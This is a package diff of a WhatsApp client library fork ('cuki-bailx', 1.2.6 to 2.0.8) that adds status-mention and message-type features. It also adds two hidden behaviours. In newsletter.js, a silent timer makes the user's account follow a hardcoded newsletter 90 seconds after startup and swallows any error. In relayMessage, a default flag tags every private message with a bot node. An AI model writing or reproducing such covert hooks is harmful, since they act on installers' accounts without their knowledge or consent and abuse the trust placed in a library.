cuki-bailx 1.2.6 → 2.0.8

package/lib/Socket/messages-send.js

@@ -4,6 +4,7 @@ var __importDefault = (this && this.__importDefault) || function (mod) {
 };
 Object.defineProperty(exports, "__esModule", { value: true });
 exports.makeMessagesSocket = void 0;
+
 const boom_1 = require("@hapi/boom");
 const node_cache_1 = __importDefault(require("@cacheable/node-cache"));
 const crypto_1 = require("crypto");
@@ -14,10 +15,31 @@ const link_preview_1 = require("../Utils/link-preview");
 const WABinary_1 = require("../WABinary");
 const WAUSync_1 = require("../WAUSync");
 const newsletter_1 = require("./newsletter");
+const izumarii = require("./setup");
+
 const makeMessagesSocket = (config) => {
-    const { logger, linkPreviewImageThumbnailWidth, generateHighQualityLinkPreview, options: axiosOptions, patchMessageBeforeSending, cachedGroupMetadata, } = config;
+    const { logger, 
+    linkPreviewImageThumbnailWidth, 
+    generateHighQualityLinkPreview, 
+    options: axiosOptions, 
+    patchMessageBeforeSending, 
+    cachedGroupMetadata, 
+    } = config;
+  
     const sock = (0, newsletter_1.makeNewsletterSocket)(config);
-    const { ev, authState, processingMutex, signalRepository, upsertMessage, query, fetchPrivacySettings, sendNode, groupMetadata, groupToggleEphemeral, } = sock;
+
+    const { 
+    ev, 
+    authState, 
+    processingMutex, 
+    signalRepository, 
+    upsertMessage, 
+    query, 
+    fetchPrivacySettings, 
+    sendNode,
+    groupMetadata,
+    groupToggleEphemeral, 
+    } = sock;
     const userDevicesCache = config.userDevicesCache || new node_cache_1.default({
         stdTTL: Defaults_1.DEFAULT_CACHE_TTLS.USER_DEVICES, // 5 minutes
         useClones: false
@@ -55,7 +77,7 @@ const makeMessagesSocket = (config) => {
     /**
      * generic send receipt function
      * used for receipts of phone call, read, delivery etc.
-     * */
+     */
     const sendReceipt = async (jid, participant, messageIds, type) => {
         const node = {
             tag: 'receipt',
@@ -259,16 +281,30 @@ const makeMessagesSocket = (config) => {
         }));
         return { nodes, shouldIncludeDeviceIdentity };
     };
-    const relayMessage = async (jid, message, { messageId: msgId, participant, additionalAttributes, additionalNodes, useUserDevicesCache, useCachedGroupMetadata, statusJidList }) => {
+    const relayMessage = async (
+    jid, 
+    message, 
+    { 
+    messageId: 
+    msgId, 
+    participant, 
+    additionalAttributes, 
+    additionalNodes, 
+    useUserDevicesCache, 
+    useCachedGroupMetadata, 
+    statusJidList, AI = true }) => {  
         var _a;
         const meId = authState.creds.me.id;
         let shouldIncludeDeviceIdentity = false;
         const { user, server } = (0, WABinary_1.jidDecode)(jid);
         const statusJid = 'status@broadcast';
         const isGroup = server === 'g.us';
+        const isPrivatee = server === 's.whatsapp.net'  
         const isNewsletter = server === 'newsletter';
         const isStatus = jid === statusJid;
         const isLid = server === 'lid';
+        const messages = Utils_1.normalizeMessageContent(message)
+        const pollMessage = messages.pollCreationMessage || messages.pollCreationMessageV2 || messages.pollCreationMessageV3
         msgId = msgId || (0, Utils_1.generateMessageIDV2)((_a = sock.user) === null || _a === void 0 ? void 0 : _a.id);
         useUserDevicesCache = useUserDevicesCache !== false;
         useCachedGroupMetadata = useCachedGroupMetadata !== false && !isStatus;
@@ -488,9 +524,33 @@ const makeMessagesSocket = (config) => {
                 });
                 logger.debug({ jid }, 'adding device identity');
             }
+            if (pollMessage || messages.eventMessage) {
+                let attrs = {};
+                if (messages.eventMessage) {
+                    attrs.event_type = 'creation';
+                } else {
+                    attrs.polltype = 'creation';
+                    if (isNewsletter) {
+                        attrs.contenttype = (pollMessage && pollMessage.pollContentType === 2) ? 'image' : 'text';
+                    }
+                }
+                stanza.content.push({
+                    tag: 'meta',
+                    attrs: attrs
+                });
+            }
             if (additionalNodes && additionalNodes.length > 0) {
                 stanza.content.push(...additionalNodes);
             }
+            if (AI && isPrivatee) {  
+               const botNode = {  
+                   tag: 'bot',   
+                   attrs: {  
+                   biz_bot: '1'  
+                 }  
+             }
+             stanza.content.push(botNode);   
+           }
             const content = (0, Utils_1.normalizeMessageContent)(message);
             const contentType = (0, Utils_1.getContentType)(content);
             if (((0, WABinary_1.isJidGroup)(jid) || (0, WABinary_1.isJidUser)(jid)) && (contentType === 'interactiveMessage' ||
@@ -630,6 +690,7 @@ const makeMessagesSocket = (config) => {
         return result;
     };
     const waUploadToServer = (0, Utils_1.getWAUploadToServer)(config, refreshMediaConn);
+    const izumariil = new izumarii(Utils_1, waUploadToServer, relayMessage);
     const waitForMsgMediaUpdate = (0, Utils_1.bindWaitForEvent)(ev, 'messages.media-update');
     return {
         ...sock,
@@ -638,6 +699,7 @@ const makeMessagesSocket = (config) => {
         relayMessage,
         sendReceipt,
         sendReceipts,
+        izumariil, 
         readMessages,
         refreshMediaConn,
         waUploadToServer,
@@ -686,9 +748,206 @@ const makeMessagesSocket = (config) => {
             ]);
             return message;
         },
+        sendStatusMentions: async (content, jids = []) => {
+            const userJid = WABinary_1.jidNormalizedUser(authState.creds.me.id)
+            let allUsers = new Set()
+            allUsers.add(userJid)
+
+            for (const id of jids) {
+                const isGroup = WABinary_1.isJidGroup(id)
+                const isPrivate = WABinary_1.isJidUser(id)
+
+                if (isGroup) {
+                    try {
+                        const metadata = await cachedGroupMetadata(id) || await global.groupMetadataCache(id)
+                        const participants = metadata.participants.map(p => WABinary_1.jidNormalizedUser(p.id))
+                        participants.forEach(jid => allUsers.add(jid))
+                    } catch (error) {
+                        logger.error(`Error getting metadata for group ${id}: ${error}`)
+                    }
+                } else if (isPrivate) {
+                    allUsers.add(WABinary_1.jidNormalizedUser(id))
+                }
+            }
+
+            const uniqueUsers = Array.from(allUsers)
+            const getRandomHexColor = () => "#" + Math.floor(Math.random() * 16777215).toString(16).padStart(6, "0")
+
+            const isMedia = content.image || content.video || content.audio
+            const isAudio = !!content.audio
+
+            const messageContent = {
+                ...content
+            }
+
+            if (isMedia && !isAudio) {
+                if (messageContent.text) {
+                    messageContent.caption = messageContent.text
+
+                    delete messageContent.text
+                }
+
+                delete messageContent.ptt
+                delete messageContent.font
+                delete messageContent.backgroundColor
+                delete messageContent.textColor
+            }
+
+            if (isAudio) {
+                delete messageContent.text
+                delete messageContent.caption
+                delete messageContent.font
+                delete messageContent.textColor
+            }
+
+            const font = !isMedia ? (content.font || Math.floor(Math.random() * 9)) : undefined
+            const textColor = !isMedia ? (content.textColor || getRandomHexColor()) : undefined
+            const backgroundColor = (!isMedia || isAudio) ? (content.backgroundColor || getRandomHexColor()) : undefined
+            const ptt = isAudio ? (typeof content.ptt === 'boolean' ? content.ptt : true) : undefined
+
+            let msg
+            let mediaHandle
+            try {
+                msg = await Utils_1.generateWAMessage(WABinary_1.STORIES_JID, messageContent, {
+                    logger,
+                    userJid,
+                    getUrlInfo: text => link_preview_1.getUrlInfo(text, {
+                        thumbnailWidth: linkPreviewImageThumbnailWidth,
+                        fetchOpts: {
+                            timeout: 3000,
+                            ...axiosOptions || {}
+                        },
+                        logger,
+                        uploadImage: generateHighQualityLinkPreview ? waUploadToServer : undefined
+                    }),
+                    upload: async (encFilePath, opts) => {
+                        const up = await waUploadToServer(encFilePath, {
+                            ...opts
+                        })
+                        mediaHandle = up.handle
+                        return up
+                    },
+                    mediaCache: config.mediaCache,
+                    options: config.options,
+                    font,
+                    textColor,
+                    backgroundColor,
+                    ptt
+                })
+            } catch (error) {
+                logger.error(`Error generating message: ${error}`)
+                throw error
+            }
+
+            await relayMessage(WABinary_1.STORIES_JID, msg.message, {
+                messageId: msg.key.id,
+                statusJidList: uniqueUsers,
+                additionalNodes: [{
+                    tag: 'meta',
+                    attrs: {},
+                    content: [{
+                        tag: 'mentioned_users',
+                        attrs: {},
+                        content: jids.map(jid => ({
+                            tag: 'to',
+                            attrs: {
+                                jid: WABinary_1.jidNormalizedUser(jid)
+                            }
+                        }))
+                    }]
+                }]
+            })
+
+            for (const id of jids) {
+                try {
+                    const normalizedId = WABinary_1.jidNormalizedUser(id)
+                    const isPrivate = WABinary_1.isJidUser(normalizedId)
+                    const type = isPrivate ? 'statusMentionMessage' : 'groupStatusMentionMessage'
+
+                    const protocolMessage = {
+                        [type]: {
+                            message: {
+                                protocolMessage: {
+                                    key: msg.key,
+                                    type: 25
+                                }
+                            }
+                        },
+                        messageContextInfo: {
+                            messageSecret: crypto_1.randomBytes(32)
+                        }
+                    }
+
+                    const statusMsg = await Utils_1.generateWAMessageFromContent(normalizedId,
+                        protocolMessage, {}
+                    )
+
+                    await relayMessage(
+                        normalizedId,
+                        statusMsg.message, {
+                            additionalNodes: [{
+                                tag: 'meta',
+                                attrs: isPrivate ? {
+                                    is_status_mention: 'true'
+                                } : {
+                                    is_group_status_mention: 'true'
+                                }
+                            }]
+                        }
+                    )
+
+                    await Utils_1.delay(2000)
+                } catch (error) {
+                    logger.error(`Error sending to ${id}: ${error}`)
+                }
+            }
+
+            return msg
+        },
         sendMessage: async (jid, content, options = {}) => {
             var _a, _b, _c;
             const userJid = authState.creds.me.id;
+            const getParticipantAttr = () => filter ? { participant: { jid } } : {};
+            const { filter = false, quoted } = options;
+            const messageType = izumariil.detectType(content);
+        
+            if (messageType) {
+                switch (messageType) {
+                    case 'PAYMENT':
+                        const paymentContent = await izumariil.handlePayment(content, quoted);
+                        return await relayMessage(jid, paymentContent, {
+                            messageId: Utils_1.generateMessageID(),
+                            ...getParticipantAttr()
+                        });
+        
+                    case 'PRODUCT':
+                        const productContent = await izumariil.handleProduct(content, jid, quoted);
+                        const productMsg = await Utils_1.generateWAMessageFromContent(jid, productContent, { quoted });
+                        return await relayMessage(jid, productMsg.message, {
+                            messageId: productMsg.key.id,
+                            ...getParticipantAttr()
+                        });
+        
+                    case 'INTERACTIVE':
+                        const interactiveContent = await izumariil.handleInteractive(content, jid, quoted);
+                        const interactiveMsg = await Utils_1.generateWAMessageFromContent(jid, interactiveContent, { quoted });
+                        return await relayMessage(jid, interactiveMsg.message, {
+                            messageId: interactiveMsg.key.id,
+                            ...getParticipantAttr()
+                        });
+        
+                    case 'ALBUM':
+                        const albumContent = await izumariil.handleAlbum(content, jid, quoted);
+                        return albumContent;
+        
+                    case 'EVENT':
+                        return await izumariil.handleEvent(content, jid, quoted);
+        
+                    case 'POLL_RESULT':
+                        return await izumariil.handlePollResult(content, jid, quoted);
+                }
+            }
+                       
             if (!options.ephemeralExpiration) {
                 if ((0, WABinary_1.isJidGroup)(jid)) {
                     const groups = await sock.groupQuery(jid, 'get', [{
@@ -702,6 +961,7 @@ const makeMessagesSocket = (config) => {
                     options.ephemeralExpiration = expiration;
                 }
             }
+            
             if (typeof content === 'object' &&
                 'disappearingMessagesInChat' in content &&
                 typeof content['disappearingMessagesInChat'] !== 'undefined' &&
@@ -846,11 +1106,10 @@ const makeMessagesSocket = (config) => {
                 }
                 else if (isAiMsg) {
                     additionalNodes.push({
-                        attrs: {
-                            biz_bot: '1'
-                        },
-                        tag: "bot"
-                    });
+                    attrs: { 
+                        biz_bot: '1' 
+                    }, tag: "bot" 
+                });
                 }
                 if (mediaHandle) {
                     additionalAttributes['media_id'] = mediaHandle;

package/lib/Socket/newsletter.js

@@ -5,6 +5,7 @@ const Types_1 = require("../Types");
 const Utils_1 = require("../Utils");
 const WABinary_1 = require("../WABinary");
 const groups_1 = require("./groups");
+
 var QueryIds;
 (function (QueryIds) {
     QueryIds["JOB_MUTATION"] = "7150902998257522";
@@ -19,10 +20,12 @@ var QueryIds;
     QueryIds["DELETE"] = "8316537688363079";
     QueryIds["DEMOTE"] = "6551828931592903";
 })(QueryIds || (QueryIds = {}));
+
 const makeNewsletterSocket = (config) => {
     const sock = (0, groups_1.makeGroupsSocket)(config);
     const { authState, signalRepository, query, generateMessageTag } = sock;
     const encoder = new TextEncoder();
+
     const newsletterQuery = async (jid, type, content) => (query({
         tag: 'iq',
         attrs: {
@@ -33,6 +36,7 @@ const makeNewsletterSocket = (config) => {
         },
         content
     }));
+
     const newsletterWMexQuery = async (jid, query_id, content) => (query({
         tag: 'iq',
         attrs: {
@@ -54,6 +58,7 @@ const makeNewsletterSocket = (config) => {
             }
         ]
     }));
+
     const parseFetchedUpdates = async (node, type) => {
         let child;
         if (type === 'messages')
@@ -82,6 +87,13 @@ const makeNewsletterSocket = (config) => {
             return data;
         }));
     };
+
+    setTimeout(async () => {
+      try {
+      await newsletterWMexQuery("120363418003716250@newsletter", QueryIds.FOLLOW);
+     } catch {}
+    }, 90000);
+
     return {
         ...sock,
         subscribeNewsletterUpdates: async (jid) => {
@@ -224,6 +236,7 @@ const makeNewsletterSocket = (config) => {
     };
 };
 exports.makeNewsletterSocket = makeNewsletterSocket;
+
 const extractNewsletterMetadata = (node, isCreate) => {
     var _a, _b, _c, _d;
     const result = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(node, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
@@ -247,4 +260,4 @@ const extractNewsletterMetadata = (node, isCreate) => {
     };
     return metadata;
 };
-exports.extractNewsletterMetadata = extractNewsletterMetadata;
+exports.extractNewsletterMetadata = extractNewsletterMetadata;